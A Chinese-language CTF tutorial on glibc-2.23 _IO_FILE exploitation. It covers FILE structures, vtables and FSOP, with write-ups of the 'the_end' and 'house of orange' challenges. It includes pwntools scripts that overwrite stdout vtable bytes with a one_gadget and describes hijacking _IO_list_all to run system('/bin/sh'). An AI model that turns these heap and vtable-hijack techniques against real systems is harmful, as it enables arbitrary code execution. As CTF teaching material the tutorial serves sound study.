IO_FILE 利用明析
# 前言
[深入理解Pwn_Heap及相关例题](https://jelasin.github.io/2023/09/22/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Pwn_heap%E5%8F%8A%E8%B5%9B%E9%A2%98%E8%AF%A6%E7%BB%86%E8%A7%A3%E6%9E%90/)
[源码查看网址](https://elixir.bootlin.com/glibc/glibc-2.23/source)
本文主要参考(https://blog.csdn.net/qq_54218833/article/details/126082743?spm=1001.2014.3001.5502)和[\_sky123\_](https://sky123.blog.csdn.net/?type=blog)两位宝藏师傅的博客。
本文写的较为冗余,适合和我一样的新手朋友看。文中并没有对堆的手法进行详细的说明,文章的堆利用手法可以看上面的文章(包括了目前 `how2heap` 里全系列的手法,其他手法有时间会补充到里面)。后面关于 `_IO_FILE` 利用的手法会更新在这里(方便查)。
## 基础知识
### IO相关重要结构体概述
进行文件读写操作时会为对应文件创建一个 `_IO_FILE_plus` 结构体,并且链接到 `_IO_list_all` 链表 **头部** 上,`vtable` 指向一张虚函数表`_IO_jump_t`,此表中记录着对文件进行的各种操作,`_IO_FILE` 和 `_IO_jump_t` 组成了 `_IO_FILE_plus`。 `stdin, stdout, stderr` 是位于 `libc.so` 中,而通过 `fopen` 的创建的则是位于堆内存。
**glibc-2.23源**
```cpp
struct _IO_FILE_plus
{
_IO_FILE file;
/* vtable 一般都不可修改,vtable 是否可写跟 libc 有关,有的高版本 libc 反而可写,比如 glibc-2.34。*/
const struct _IO_jump_t *vtable;
};
// amd64 如下
_IO_FILE_plus = {
0x0:'_flags';
0x8:'_IO_read_ptr'; // 操作起始地址
0x10:'_IO_read_end';// stdin 缓冲结束地址
0x18:'_IO_read_base'; // stdin 缓冲起始地址
0x20:'_IO_write_base';// stdout 缓冲起始地址
0x28:'_IO_write_ptr'; // 操作起始地址
0x30:'_IO_write_end'; // stdout 缓冲结束地址
0x38:'_IO_buf_base';// 缓冲区起始地址
0x40:'_IO_buf_end'; // 缓冲区结束地址
0x48:'_IO_save_base';
0x50:'_IO_backup_base';
0x58:'_IO_save_end';
0x60:'_markers';
0x68:'_chain';
0x70:'_fileno';
0x74:'_flags2';
0x78:'_old_offset';
0x80:'_cur_column';
0x82:'_vtable_offset';
0x83:'_shortbuf';
0x88:'_lock';
0x90:'_offset';
0x98:'_codecvt';
0xa0:'_wide_data';
0xa8:'_freeres_list';
0xb0:'_freeres_buf';
0xb8:'__pad5';
0xc0:'_mode';
0xc4:'_unused2';
0xd8:'vtable';
}
```
```cpp
struct _IO_jump_t
{
0x0:JUMP_FIELD(size_t, __dummy);
0x8:JUMP_FIELD(size_t, __dummy2);
0x10:JUMP_FIELD(_IO_finish_t, __finish);
0x18:JUMP_FIELD(_IO_overflow_t, __overflow);
0x20:JUMP_FIELD(_IO_underflow_t, __underflow);
0x28:JUMP_FIELD(_IO_underflow_t, __uflow);
0x30:JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
0x38:JUMP_FIELD(_IO_xsputn_t, __xsputn);
0x40:JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
0x48:JUMP_FIELD(_IO_seekoff_t, __seekoff);
0x50:JUMP_FIELD(_IO_seekpos_t, __seekpos);
0x58:JUMP_FIELD(_IO_setbuf_t, __setbuf);
0x60:JUMP_FIELD(_IO_sync_t, __sync);
0x68:JUMP_FIELD(_IO_doallocate_t, __doallocate);
0x70:JUMP_FIELD(_IO_read_t, __read);
0x78:JUMP_FIELD(_IO_write_t, __write);
0x80:JUMP_FIELD(_IO_seek_t, __seek);
0x88:JUMP_FIELD(_IO_close_t, __close);
0x90:JUMP_FIELD(_IO_stat_t, __stat);
0x98:JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
0xa0:JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
```
```cpp
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note:Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base;/* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; // stderr:2, stdout:1, stdin:0
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small.*/
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf;
/*char* _save_gptr;char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff.*/
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again.*/
char _unused2;
#endif
};
#ifndef __cplusplus
typedef struct _IO_FILE _IO_FILE;
#endif
struct _IO_FILE_plus;
extern struct _IO_FILE_plus *_IO_list_all;
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
```
```cpp
/* Extra data for wide character streams.*/
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf;
const struct _IO_jump_t *_wide_vtable;
};
```
```cpp
struct _IO_str_fields
{
/* These members are preserved for ABI compatibility.The glibc
implementation always calls malloc/free for user buffers if
_IO_USER_BUF or _IO_FLAGS2_USER_WBUF are not set.*/
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};
/* This is needed for the Irix6 N32 ABI, which has a 64 bit off_t type,
but a 32 bit pointer type.In this case, we get 4 bytes of padding
after the vtable pointer.Putting them in a structure together solves
this problem.*/
struct _IO_streambuf
{
FILE _f;
const struct _IO_jump_t *vtable;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
```
```cpp
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
```
**图解**
### IO相关函数概述
* `fopen` 未调用 `vtable` 中的函数,`fopen` 对应的函数 `__fopen_internal` 内部会调用 `malloc` 函数,分配 `FILE` 结构的空间。因此我们可以获知 `FILE` 结构是存储在堆上的。
* 流程
- 使用 `malloc` 分配 `FILE` 结构
- 设置 `FILE` 结构的 `vtable`
-初始化分配的 `FILE` 结构
- 将初始化的 `FILE` 结构链入 `FILE` 结构链表头部
- 调用系统调用打开文件
```cpp
// fopen() 函数
// libio/iofopen.c
_IO_FILE *
__fopen_internal (const char *filename, const char *mode, int is32)
{
struct locked_FILE
{
struct _IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
struct _IO_wide_data wd;
} *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE)); // 为 FILE 结构分配空间
if (new_f == NULL)
return NULL;
#ifdef _IO_MTSAFE_IO
new_f->fp.file._lock = &new_f->lock;
#endif
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
_IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);
#else
_IO_no_init (&new_f->fp.file, 1, 0, NULL, NULL);
#endif
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps; // 设置 vtable = &_IO_file_jumps
_IO_file_init (&new_f->fp); // 调用 _IO_file_init 函数进行初始化
#if!_IO_UNIFIED_JUMPTABLES
new_f->fp.vtable = NULL;
#endif
if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL) // 打开目标文件
return __fopen_maybe_mmap (&new_f->fp.file);
_IO_un_link (&new_f->fp);
free (new_f);
return NULL;
}
_IO_FILE *
_IO_new_fopen (const char *filename, const char *mode)
{
return __fopen_internal (filename, mode, 1);
}
// libio/fileops.c
# define _IO_new_file_init _IO_file_init
void
_IO_new_file_init (struct _IO_FILE_plus *fp)
{
/* POSIX.1 allows another file handle to be used to change the position
of our file descriptor.Hence we actually don't know the actual
position before we do the first fseek (and until a following fflush). */
fp->file._offset = _IO_pos_BAD;
fp->file._IO_file_flags |= CLOSED_FILEBUF_FLAGS;
_IO_link_in (fp); // 调用 _IO_link_in 函数将 fp 放进链表
fp->file._fileno = -1;
}
// libio/genops.c
void
_IO_link_in (struct _IO_FILE_plus *fp)
{
if ((fp->file._flags & _IO_LINKED) == 0)
{
fp->file._flags |= _IO_LINKED;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
run_fp = (_IO_FILE *) fp;
_IO_flockfile ((_IO_FILE *) fp);
#endif
fp->file._chain = (_IO_FILE *) _IO_list_all;// fp 放到链表头部
_IO_list_all = fp; // 链表头 _IO_list_all 指向 fp
++_IO_list_all_stamp;
#ifdef _IO_MTSAFE_IO
_IO_funlockfile ((_IO_FILE *) fp);
run_fp = NULL;
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
}
}
```
* `fread()` 最终会调用`_IO_fiel_xsgetn`
* 流程大致为 `_IO_fread->_IO_sgetn->_IO_XSGETN->_IO_file_xsgetn`。
```cpp
// fread
// libio/iofread.c
/*
* buf: 存放读取数据的缓冲区。
* size: 指定每个记录的长度。
* count: 指定记录的个数。
* stream: 目标文件流。
* 返回值: 返回读取到数据缓冲区中的记录个数。
*/
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested); // 调用 _IO_sgetn 函数
_IO_release_lock (fp);
return bytes_requested == bytes_read ? count : bytes_read / size;
}
// libio/genops.c
_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
/* FIXME handle putback buffer here! */
return _IO_XSGETN (fp, data, n); // 调用宏 _IO_XSGETN
}
// libio/libioP.h
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
#if _IO_JUMPS_OFFSET
# define _IO_JUMPS_FUNC(THIS) \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset))
# define _IO_vtable_offset(THIS) (THIS)->_vtable_offset
#else
# define _IO_JUMPS_FUNC(THIS) _IO_JUMPS_FILE_plus (THIS)
# define _IO_vtable_offset(THIS) 0
#endif
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
```
* `fwrite` 最终会调用 `_IO_file_xsputn`
* 流程 `_IO_fwrite->_IO_XSPUTN->_IO_new_file_xsputn->_IO_OVERFLOW->_IO_new_file_overflow`
```cpp
// fwrite()
// libio/iofwrite.c
/*
* buf: 是一个指针,对 fwrite 来说,是要写入数据的地址;
* size: 要写入内容的单字节数;
* count: 要进行写入 size 字节的数据项的个数;
* stream: 目标文件指针;
* 返回值: 实际写入的数据项个数 count。
*/
_IO_size_t
_IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t request = size * count;
_IO_size_t written = 0;
CHECK_FILE (fp, 0);
if (request == 0)
return 0;
_IO_acquire_lock (fp);
if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
written = _IO_sputn (fp, (const char *) buf, request); // 调用 _IO_sputn 函数
_IO_release_lock (fp);
/* We have written all of the input in case the return value indicates
this or EOF is returned.The latter is a special case where we
simply did not manage to flush the buffer.But the data is in the
buffer and therefore written as far as fwrite is concerned.*/
if (written == request || written == EOF)
return count;
else
return written / size;
}
// libio/libioP.h
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
```
* `fclose` 最终会调用 `_IO_file_finish`
* 流程大致如下
* `_IO_unlink_it` 将指定的 `FILE` 从 `_chain` 链表中摘除
* `_IO_file_close_it` 会调用系统接口 `close` 关闭文件
* `_IO_FINISH->_IO_file_finish` 会调用 `free` 函数释放 `FILE` 结构
```cpp
// libio/iofclose.c
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions.Detect old streams
here.*/
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream.*/
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);// 将 fp 从链表中取出
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp); // 关闭目标文件
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation.This means we have to free
the conversion functions.*/
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp); // 释放 FILE 结构体
}
return status;
}
```
### getshell 一般条件
必须要 `libc` 的低 `32` 位地址为负时,攻击才会成功。在 `fflush` 函数的检查里,它第二步才是跳转,第一步的检查,在 `arena` 里的伪造 `file` 结构中这两个值,绝对值一定可以通过,那么就会直接执行虚表函数。所以只有为负时,才会 `check` 失效。
## [the_end](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/io-file/2018_hctf_the_end)
### 检查文件信息
### 试运行
### 逆向分析
```cpp
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int i; //
void *buf; // BYREF
sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}
```
我们有五次任意地址写 `1` 字节的机会,并且给了我们 `sleep()` 函数的地址。
### 漏洞利用
`glibc-2.23` 版本及之前没有 `_IO_vtable_check` 检查,因此可以伪造 `vtable` 劫持程序流程。 `exit` 函数有一条这样的调用链 `exit->__run_exit_handlers->_IO_cleanup->_IO_unbuffer_all->_IO_SETBUFF(fp, NULL, 0)`,这里调用了 `_IO_2_1_stdout_` 的`vatable` 中 `_setbuf` 函数.。但位于 `libc` 数据段的 `vtable` 是不可以进行写入的,因为 `_IO_jumps_t` 的第 `11` 位是 ` JUMP_FIELD(_IO_setbuf_t, __setbuf);` 所以我们可以在其附近寻找 `fake_vtable` 将其 `(11*8)0x58`处改为 `one_gadget` ,当程序退出调用 `exit` 时将会调用 `one_gadget` 从而 `getshell` 。
**获取信息**
```python
def get_info():
global one_gadget, stdout_vtable, fake_vtable, stderr_vtable
p.recvuntil(b"here is a gift ")
sleep = int(p.recv(14),16)
p.recvuntil(b"luck ;)\n")
libc.address = sleep - libc.symbols['sleep']
one_gadget = libc.address + 0xf03a4
stdout_vtable = libc.sym['_IO_2_1_stdout_'] + 0xd8
stderr_vtable = libc.sym['_IO_2_1_stderr_'] + 0xd8
fake_vtable = stderr_vtable - 0x58
info("libc_base : 0x%x" % libc.address)
info("one_gadget : 0x%x" % one_gadget)
info("stdout_vtable : 0x%x" % stdout_vtable)
info("fake_vtable : 0x%x" % fake_vtable)
info("stderr_vtable : 0x%x" % stderr_vtable)
debug()
```
`libc.sym['_IO_2_1_stdout_'] + 0xd8` 是 `_IO_2_1_stdout_` 的 `vtable` 指针,`glibc-2.23`版本`x64` 的偏移`(struct _IO_FILE大小)`为 `0xd8`,`x32` 减半。
**get_shell**
```python
def get_shell():
p.send(p64(stdout_vtable))
p.send(p8(fake_vtable&0xff))
p.send(p64(stdout_vtable+1))
p.send(p8((fake_vtable>>8)&0xff))
debug()
p.send(p64(stderr_vtable))
p.send(p8(one_gadget&0xff))
p.send(p64(stderr_vtable+1))
p.send(p8((one_gadget>>8)&0xff))
gdb.attach(p)
p.send(p64(stderr_vtable+2))
p.send(p8((one_gadget>>16)&0xff))
pause()
p.sendline(b"exec 1>&0")
```
前两次机会我们可以修改 `stdout_vtable` 的后 `16` 位将其指向 `fake_vtable` 。
后面三次机会将 `fake_vtable` 的高 `11*8(0x58)` 处的 `_IO_SETBUF(实际上是 stderr_vtable)` 改为 `onegadget`,因为都在 `libc.so` 数据段,所以我们只需要修改其后 `8*3` 位即可。
最后调用了 `one_gadget` 。
但是我这里`4`个 `one_gadget` 都不满足条件,这个方法没打通,哪里有问题还想烦请师傅多多指教。
**图解**
## FSOP(glibc <= 2.23)
`FSOP` 的核心思想就是劫持 `_IO_list_all` 指向伪造的 `_IO_FILE_plus` 。之后使程序执行 `_IO_flush_all_lockp` 函数刷新 `_IO_list_all` 链表中所有项的文件流,相当于对每个 `FILE` 调用 `fflush` ,也对应着会调用 `_IO_FILE_plus.vtable` 中的 `_IO_overflow`。`FSOP` 通过伪造 `_IO_jump_t` 中的 `__overflow` 为 `system()` 函数 地 址 , 最 终 在 `_IO_OVERFLOW(fp,EOF)` 函 数 中 执 行 `system('/bin/sh')` 并获得 `shell`。
* `_IO_flush_all_lockp` 在一些情况下这个函数会被系统调用:
1. 当 `libc` 执行 `abort` 流程时
```cpp
void
abort (void)
{
...
if (stage == 4)
{
++stage;
__fcloseall ();
}
...
}
int
__fcloseall (void)
{
return _IO_cleanup ();
}
int
_IO_cleanup (void)
{
int result = _IO_flush_all_lockp (0);
_IO_unbuffer_all ();
return result;
}
```
2. 当执行 `exit` 函数时
```cpp
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true);
}
第(1)条链
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit)
{
...
_exit (status);
}
void
_exit (int status)
{
status &= 0xff;
abort ();
}
第(2)条链
_IO_cleanup (void)
{
int result = _IO_flush_all_lockp (0);
_IO_unbuffer_all ();
return result;
}
```
3. 当执行流从 `main` 函数返回时会执行 `exit->_IO_cleanup->_IO_flush_all_lockp`
* `_IO_flush_all_lockp (int do_lock)` 函数需要绕过的检查。
```cpp
/*
*从_IO_list_all开始, _IO_flush_all_lockp()遍历链表并对每个条目执行一些检查. 如果一个条目通过了所有的检查,
*_IO_OVERFLOW会从虚表中调用_IO_new_file_overflow()
*/
int
_IO_flush_all_lockp (int do_lock)
{
...
/*
* 为了能够让我们构造的 fake_FILE 能够正常工作,还需要以下绕过的检查
* fp->_mode <= 0
* fp->_IO_write_ptr > fp->_IO_write_base
* 这里调用了 _IO_OVERFLOW 函数
*/
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
...
}
```
还有一条`FSOP`的路径是在关闭流的时候,在 `_IO_FINISH(fp)` 的执行过程中最终会调用伪造的 `system('/bin/sh')`。
```cpp
typedef void (*_IO_finish_t) (_IO_FILE *, int); /* finalize */
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
int
_IO_new_fclose (_IO_FILE *fp)
{
...
_IO_FINISH (fp);
...
}
```
## [house of orange](https://github.com/firmianay/CTF-All-In-One/tree/master/src/writeup/6.1.24_hitconctf2016_house_of_orange)
### 检查文件信息
### 试运行
### 逆向分析
* `main` 函数
```cpp
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
int v3; // eax
Init();
while ( 1 )
{
while ( 1 )
{
Menu();
v3 = get_num(a1, a2);
if ( v3 != 2 )
break;
See();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
Upgrade();
}
else
{
if ( v3 == 4 )
{
puts("give up");
exit(0);
}
LABEL_13:
a1 = "Invalid choice";
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
Build();
}
}
}
```
* `Build` 函数
```cpp
int Build()
{
unsigned int len_of_name; //
int type; //
void *house; //
__int64 orange; //
if ( max_house > 3u )
{
puts("Too many house");
exit(1);
}
house = malloc(0x10uLL);
printf("Length of name :");
len_of_name = get_num();
if ( len_of_name > 0x1000 )
len_of_name = 0x1000;
*((_QWORD *)house + 1) = malloc(len_of_name);
if ( !*((_QWORD *)house + 1) )
{
puts("Malloc error !!!");
exit(1);
}
printf("Name :");
Read(*((void **)house + 1), len_of_name); // 这个读取没有截断,可能存在泄露
orange = (__int64)calloc(1uLL, 8uLL);
printf("Price of Orange:");
*(_DWORD *)orange = get_num();
Color();
printf("Color of Orange:");
type = get_num();
if ( type != 0xDDAA && (type <= 0 || type > 7) )
{
puts("No such color");
exit(1);
}
if ( type == 0xDDAA )
*(_DWORD *)(orange + 4) = 0xDDAA;
else
*(_DWORD *)(orange + 4) = type + 0x1E;
*(_QWORD *)house = orange;
house_list = house;
++max_house;
return puts("Finish");
}
```
其结构大致为:
其中 `orange` 是通过 `calloc` 申请的。
* `See` 函数
```cpp
int sub_EE6()
{
int v0; // eax
int v2; // eax
if ( !house_list )
return puts("No such house !");
if ( *(_DWORD *)(*house_list + 4LL) == 0xDDAA )
{
printf("Name of house : %s\n", (const char *)house_list);
printf("Price of orange : %d\n", *(unsigned int *)*house_list);
v0 = rand();
return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + v0 % 8));
}
else
{
if ( *(int *)(*house_list + 4LL) <= 0x1E || *(int *)(*house_list + 4LL) > 0x25 )
{
puts("Color corruption!");
exit(1);
}
printf("Name of house : %s\n", (const char *)house_list);
printf("Price of orange : %d\n", *(unsigned int *)*house_list);
v2 = rand();
return printf("\x1B[%dm%s\x1B[0m\n", *(unsigned int *)(*house_list + 4LL), *((const char **)&unk_203080 + v2 % 8));
}
}
```
`See` 函数会打印出 `house->name`、`orange->price` 和 `orange` 图案。
* `Upgrade` 函数
```cpp
int Upgrade()
{
_DWORD *house; // rbx
unsigned int len_of_name; //
int type; //
if ( max_up > 2u )
return puts("You can't upgrade more");
if ( !house_list )
return puts("No such house !");
printf("Length of name :");
len_of_name = get_num();
if ( len_of_name > 0x1000 )
len_of_name = 0x1000;
printf("Name:");
Read((void *)house_list, len_of_name);
printf("Price of Orange: ");
house = (_DWORD *)*house_list;
*house = get_num();
Color();
printf("Color of Orange: ");
type = get_num();
if ( type != 0xDDAA && (type <= 0 || type > 7) )
{
puts("No such color");
exit(1);
}
if ( type == 0xDDAA )
*(_DWORD *)(*house_list + 4LL) = 0xDDAA;
else
*(_DWORD *)(*house_list + 4LL) = type + 0x1E;
++max_up;
return puts("Finish");
}
```
`Upgrade` 函数重新设置了 `len_of_name` 后直接向旧的 `name` 区域读入内容,如果 `len_new > len_old` 就会导致堆溢出。
### 漏洞利用
本题没有 `free` 函数,存在堆溢出。当 `top chunk`的剩余部分已经不能够满足请求时,就会调用函数 `sysmalloc()`分配新内存, 这时可能会发生两种情况,一种是调用 `sbrk`函数直接扩充 `top chunk`,另一种是调用 `mmap` 函数分配一块新的 `top chunk`。具体调 用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 `top chunk`,需要请求小于阈值 `mp_.mmap_threshold`。 要成功调用 `_int_free()` 还需绕过两个断言:
1. `(unsigned long) (old_size) >= MINSIZE` 也就是 `0x20`。
2. `prev_inuse == 1 `
3. `((unsigned long) old_end & (pagesize - 1)) == 0 `页对齐
4. `(unsigned long) (old_size) < (unsigned long) (nb + MINSIZE) `新申请的 `size` 大于 `old size + MINSIZE`
```cpp
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{
// 这里阈值大于 mp_.mmap_threshold 就会调用 mmap 函数分配一块新的 top chunk。
...
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char *mm; /* return value from mmap call*/
try_mmap:
...
}
...
if (av == NULL)
return 0;
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));
brk = snd_brk = (char *) (MORECORE_FAILURE);
/*
* 1. (unsigned long) (old_size) >= MINSIZE 也就是0x20。
* 2. prev_inuse == 1
* 3. ((unsigned long) old_end & (pagesize - 1)) == 0 页对齐
* 4. (unsigned long) (old_size) < (unsigned long) (nb + MINSIZE) 新申请的 size 大于 old size + MINSIZE
*/
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
if (av != &main_arena)
{
heap_info *old_heap, *heap;
size_t old_heap_size;
old_heap = heap_for_ptr (old_top);
old_heap_size = old_heap->size;
if ((long) (MINSIZE + nb - old_size) > 0
&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
{
av->system_mem += old_heap->size - old_heap_size;
arena_mem += old_heap->size - old_heap_size;
set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
| PREV_INUSE);
}
else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
{
heap->ar_ptr = av;
heap->prev = old_heap;
av->system_mem += heap->size;
arena_mem += heap->size;
top (av) = chunk_at_offset (heap, sizeof (*heap));
set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);
old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
// 释放 old_top_chunk 到 unsorted bin。
_int_free (av, old_top, 1);
}
else
{
set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
set_foot (old_top, (old_size + 2 * SIZE_SZ));
}
}
else if (!tried_mmap)
goto try_mmap;
}
...
}
```
这样便可成功泄露 `libc` 基址,从而获得 `_IO_list_all` 地址,然后可以利用 `unsorted bin attack` 劫持 `_IO_list_all` 到`main_arena+88`,利用 `fp->chain` 域,使 `fp` 指 向 `old_top`,前 `8` 字节为 `'/bin/sh\x00'` 字符串,使 `_IO_OVERFLOW` 为`system` 函数的地址,从而获得 `shell`。
**前置脚本**
```python
from pwn import *
context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'
lk = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
is_local = True
def connect():
global io, elf, libc
elf = ELF("./houseoforange")
libc = elf.libc
if is_local:
io = process('./houseoforange')
else:
io = remote('192.168.152.138',10001)
is_debug = True
def debug(gdbscript=""):
if is_debug:
gdb.attach(io, gdbscript=gdbscript)
